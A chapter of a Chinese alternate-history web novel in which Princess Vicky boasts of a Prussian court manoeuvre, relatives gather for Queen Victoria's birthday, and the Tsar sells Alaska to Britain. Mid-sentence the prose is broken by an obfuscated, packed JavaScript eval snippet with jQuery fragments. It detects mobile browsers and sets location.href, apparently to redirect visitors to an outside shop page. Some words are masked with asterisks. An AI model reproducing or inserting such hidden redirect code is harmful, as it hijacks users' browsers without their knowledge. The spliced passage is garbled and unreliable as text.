这种事……这种崩了“女霸王”人设的事,怎么好意思跟人说出口!绝对不行!打死也不能说!
“我们……我们很好!特别好!好得不得了!他特别听我的话!”
维琪努力挺直了腰板,用这辈子最大的声音和最虚张声势的语气,试图用表面的强硬来掩饰内心的“溃败”。
“真的?”林亚瑟一脸不信,“我看你眼神怎么有点飘?”
“当……当然是真的!”维琪急了,赶紧生硬地转移了话题,生怕再被这精明过头的父母挖出什么“绝密隐私”。
这二老就是想急着抱外孙了,哼!
她从身边的手包里掏出了那份早已准备好的“**报告”,像扔烫山芋一样扔到桌上。
“不说这个了!说正事!”
她整理了一下裙摆,那股子谈论天下大事的精明劲儿又回来了(虽然脸上还有点红没散)。
“爸爸,妈妈,你们肯定想不到!”
“这次那个国王伯父中风……绝对是我们的天赐良机!”
维琪的眼里闪烁着与年龄不太相符的、属于政客的兴奋光芒。
“那些保守派和自由派都乱套了!都想拉个傀儡上去!于是我,还有我的……嗯,我指挥的那个从不反抗的老实老公,我们用了您教的那招‘借力打力’!”
维多利亚收起了调侃的神色,认真地听着。
“我把老威廉亲王……和自由派的矛盾直接摆到了台面上。我告诉他要用腓特烈当缓冲!结果——”
维琪得意地打了个响指,像是在庆祝一场游戏的胜利,“那老顽固听了我的!现在整个柏林,既是他在管刀把子,但在大家眼里,腓特烈才是那个能说了算的‘希望之星’!”
“这下一来,整个普鲁士……差不多已经有一半,都握在我们手里了!”
“我是不是特别厉害!妈妈?”
她扬起下巴,像个等着大人发小红花的小学生一样,期待着哪怕是一句“干得漂亮”。这可是真正改写了一个国家历史的大手笔!
然而。
预想中的掌声和夸奖,并没有响起。
维多利亚女王,这位已经统治了大英帝国二十年、见过无数风浪的女王陛下。
她没有笑。
“唉……”
她轻轻地叹了一口气。
“妈妈?怎么了?”维琪脸上的笑意僵住了,“我做得……不好吗?”
“不,宝贝。”维多利亚伸出手,并没有去拿那份报告,而是轻轻地,将女儿有些冰冷的手,包裹在了自己的掌心。
“你做得很好。很聪明。甚至……比我曾经预想到的还要好。”
“这简直就是教科书级别的‘宫廷政变’操作。”
“可是……”
维多利亚看着女儿那张年轻、充满朝气,却已经因为过早涉入那种黑暗而染上一丝凌厉的脸庞。
她的心,疼了。
“维琪啊。”女王的声音里带着从未有过的沉重,“你知道吗?妈妈其实……并没有那么想让你这么早就来直接实践这些。”
“**……真的是太复杂、太脏了。”
“那些权谋,那些算计,那些你要去面对的一张张虚伪的笑脸……它们会像**一样,慢慢侵蚀掉你作为一个女孩、作为一个女人最纯粹的快乐。”
她回想起自己年轻时,被各种势力夹在中间,那个无助到只能在日记里哭鼻子的自己。
“你才多大?十八岁。本该是无忧无虑,整天想着打扮、想着去哪里郊游的年纪啊。”
“为什么要这么早就把自己,扔进那个全是刀光剑影的染缸里呢?”
“妈妈……不希望你以后变成一个,只会算计,而忘了怎么去笑的……**机器。都怪你爸爸这个混蛋,偏偏要教你教个不停!”
维多利亚抬起头,眼神中没有责备,只有满满的不舍和心疼。
“而且,**没有那么简单,”维多利亚的声音变得更加语重心长,“维琪,我的孩子,你要记住。水满则溢,月满则亏。你现在所展现出的这种过于耀眼的光芒,这种……甚至让你那个当亲王的公公都会感到忌惮的才能……”
她看了一眼身旁,那个从始至终,都只是安静地看着她们母女,脸上没有丝毫表情,但眼中却带着一丝赞许的丈夫,林亚瑟,他也点了点头。
“……在别人看来,并不见得,是一件好事。”维多利亚叹了口气,说出了最残酷的**现实,“它会为你,招来无数的嫉妒,和……来自暗处的敌人。甚至,会让你那个,本该是你最亲密的战友,你的丈夫腓特烈,都感到……压力和……不自在。”
“木秀于林,风必摧之。”
这句充满了东方智慧的谚语,是林亚瑟曾经在教她下棋时,无意间说过的。此刻,却被她,用在了对女儿的教导上。
那一刻。
维琪感觉自己原本满满当当的自信,就像被戳了个洞,嗖地一下全泄气了。
她低下头,看着地板上那华丽的波斯地毯的花纹,手指不自然地绞在了一起。
她其实知道,妈妈说得对。
但这……不就是她自己选的路吗?不就是她为了追上父亲的脚步,为了配得上母亲的期望,而拼命努力想要学会的吗?
怎么,现在,当她终于做到了,甚至做得很好的时候。
得到的,却不是夸奖。而是……担忧?
“妈妈……”
她的声音变得闷闷的,小嘴一噘,又变成了那个做错事但也无所谓反正有大人顶着的、古灵精怪的小女儿。
她偷偷瞄了一眼维多利亚那副恨铁不成钢又拿她没办法的样子,忽然吐了吐舌头,做了个极其可爱的鬼脸:
“略——知道了啦!”
“您就别唠叨了!我现在感觉自己耳朵都要起老茧了!”
“大不了下次……下次我不搞这么大动静了还不行嘛!”
“反正……”她小声嘀咕着,眼睛却在偷偷往林亚瑟那边瞟,“反正有爸爸在,那群普鲁士笨蛋就算想欺负我,也得先问问咱们大英帝国的舰队答不答应吧?!”
“你这死丫头!”维多利亚被她那副无赖样给气笑了,原本凝重的气氛瞬间消散。她伸手在女儿脑门上轻轻点了一下,“就知道仗势欺人!”
“嘿嘿!”
维琪扑进妈妈怀里,像只还没长大的小猫一样乱蹭,“谁让我是咱们家的大公主呢!”
林亚瑟在旁边看着这一大一小两个活宝上演的“母女情深”大戏,无奈地耸了耸肩,眼中却是在笑。
嗯,挺好。
至少现在的她,还知道自己只是个被人爱着的小女孩。
……
女王的生日宴会前几天。
另一艘挂着哈布斯堡家双头鹰旗帜的邮轮,也抵达了多佛港。
“奥莉!我的好妹妹!”
维多利亚一看见那个穿着一身华丽猩红色天鹅绒长裙、风韵更胜当年的俄国美人,就激动地冲上去给了她一个大大的拥抱。
“姐姐!我都快想死你了!”奥尔加也紧紧回抱住她。
而在她们身后,史蒂芬大公,这位已经快四十岁、但依旧英俊儒雅的匈牙利帕拉丁,正和林亚瑟握手寒暄。
两个男人的对话就简洁多了。
“怎么样?最近梅特涅那老家伙和施瓦岑贝格的继承人,有没有给你添堵?”
“还好。他们现在忙着跟普鲁士人吵架呢。”史蒂芬笑道,“倒是你,什么时候把那条‘多瑙河-莱茵河’运河的计划书给我看看?”
“急什么?先喝酒。”
而在他们身后,一个穿着一身缩小版匈牙利骠骑兵制服、留着柔顺金发、长得像个小天使一样漂亮的金发小男孩,正有些怯生生地,躲在他父亲的身后,好奇地打量着眼前这座比布达城堡还要宏伟一百倍的宫殿。
他,就是史蒂芬和奥尔加的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891618|185649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长子,那个被寄予了厚望的、十一岁的小弗兰茨·安东。
因为母亲是俄国人,父亲是奥地利人,又生活在匈牙利。这个小家伙从小就精通德、俄、匈三门语言,还遗传了父母双方所有的优点——琴棋书画样样精通。
……
大人们在那边喝茶,聊着关乎欧洲命运的事。
而小孩子们的世界,则就要纯粹得多。
维琪作为“大姐大”,很有眼色地(主要是为了看热闹)从史蒂芬身后,把那个一看就特别乖巧、有点腼腆的小弗兰茨·安东给“解救”了出来。
“嘿!小安东!”
维琪笑眯眯地捏了捏他那粉嫩嫩的小脸,“别光在那儿看着啦!姐姐带你去认识一下你的新朋友!”
她像个拐卖小孩的人贩子一样,把安东推到了那一堆正在花园草坪上玩捉迷藏的“英国小土著”面前。
“看!这些都是你的……嗯,反正是一家人和新朋友就对了!”
那边,小露易丝正满头大汗地追着才四岁大的小比阿特丽斯,而七岁的小阿瑟正蹲在地上观察蚂蚁搬家。
“咦?”
突然,所有的小家伙都停了下来,齐刷刷地看向了这个新来的“漂亮小哥哥”。
“你是谁呀?”海伦娜(11岁,跟安东同年,但看着比他皮实多了)好奇地凑上来,戳了戳安东腰间的木质佩剑,“这是玩具吗?看起来一点都不厉害。”
“不是玩具!这是父亲给我的……!”安东刚想小声辩解,却被维琪一把拽到了身后。
“去去去!海伦,你不许欺负新朋友!”
维琪环视了一周,那双敏锐的眼睛,精准地定位在了一个独自坐在紫藤花架下,正对着夕阳画素描的安静美少女身上。
我们的“艺术之花”小爱丽丝(14岁)。
“爱丽丝!”维琪喊道,“来新人了!听说他也会弹钢琴,还会说那个一口流利的……俄语!你不是一直想学那个‘喀秋莎’怎么唱吗?”
……
几天后,女王38岁的生日宴会,在一片烟花与祝福声中圆满落幕。
送走了各路亲戚后,白金汉宫又恢复了往日的“备战(带娃)”状态。
而林亚瑟,则再次回到了他的“指挥部”。
因为,那个苦寒之地的“老朋友”,终于传回了令他满意的回信。
圣彼得堡,冬宫。
经历了一场几乎拖垮国库的战争以及战后改革重建后,新沙皇亚历山大二世,正如一个刚被催完债又没领到工资的打工人,愁得是头发都快白了。
但林亚瑟“恰好”在这时候送来的那份“土地购买意向书”,对他来说,简直就是雪中送炭。
五百万英镑!
现款!不需要任何**抵押!
只要在那个叫《阿拉斯加领土转让协定》上签个字就行!当然,还附赠了让他眼馋已久的一批机关枪图纸。
还有什么好犹豫的?
亚历山大二世一咬牙,甚至还没来得及再多加一次价,就直接大笔一挥:
“卖了!都卖了!”
“反正那地方除了冰块和野人啥都没有!也就是给我们的地图上多占点颜色罢了!但有了这笔钱……我的改革大业就可以重启了!我的军队又能换装了!”
“林……呵,你还真是个‘仗义疏财’的好人啊。”
沙皇一边感慨着,一边在心里默默给这位“好兄弟”点了个赞(也竖了个中指),完全没想到自己这一下,其实是把未来半个世纪里大英帝国在北极圈内的霸权基石给亲手砌好了。
1857年5月28日,《英俄关于美洲西北部领土划界协议》正式签订。
阿拉斯加,那片实际上也埋藏着无数黄金和石油的冻土,正式从双头鹰的旗下,换成了大英帝国的……米字旗。
大英帝国的北极战略拼图,至此,最后一角,完美闭环。